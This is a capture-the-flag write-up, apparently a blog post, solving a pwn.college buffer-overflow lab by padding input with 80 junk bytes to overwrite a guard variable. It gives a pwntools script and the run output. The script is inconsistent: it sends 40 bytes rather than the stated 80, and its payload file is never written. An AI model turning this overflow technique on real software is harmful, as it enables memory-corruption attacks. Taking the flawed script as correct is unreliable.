|[THOUGHTS]||[TECH RESOURCES]||[TRASH TALK]|
|[DANK MEMES]||[FEATURED ARTISTS]||[W]|
This is a very primal solution to read the flag of level 1 challenge. This challenge requires to overwrite a variable that exists in memory. Variable is set to zero by default. You have to overwrite it to something else. You can calculate where the variable exists in memory with pwn.cyclic and pwn.cyclic_find functions. In my example, it was 80 bytes after input address. So we need 80 junk bytes and (actually you can input all the way to 80 junk bytes which is not zero) 1 byte that is not 0x0. You can create the final payload like this.
- #!/usr/bin/env python
- import pwn
- def create_payload():
- f = open("payload", "wb")
- buffer_size = b"200\n"
- stonks = b"A" * 80 + b"\x01" + b"\n"
- itself = buffer_size + stonks
- pwn.context.terminal = ["alacritty", "-x", "sh", "-c"]
- binary_itself = pwn.ELF("babymem_level1_teaching1")
- r = pwn.process("./babymem_level1_teaching1")
- epi = r.read(10000000)
- r.sendline("A"*40 + "\x01")
- pro = r.read(100000)
- a = input("\n\nEND?")
Warning, sendfile() has issues. If you want to input your payload manually, do like this.
- $ ./binary.bin < ./payload | cat
- [*] '/mnt/pwn.college/mem_corrupt/level00_1/babymem_level1_testing1'
- Arch: amd64-64-little
- RELRO: Full RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: PIE enabled
- [+] Starting local process './babymem_level1_testing1': pid 2057309
- ### Welcome to ./babymem_level1_testing1!
- Payload size:
- Send your payload (up to 200 bytes)!
- You win! Here is your flag:
- *** stack smashing detected ***: terminated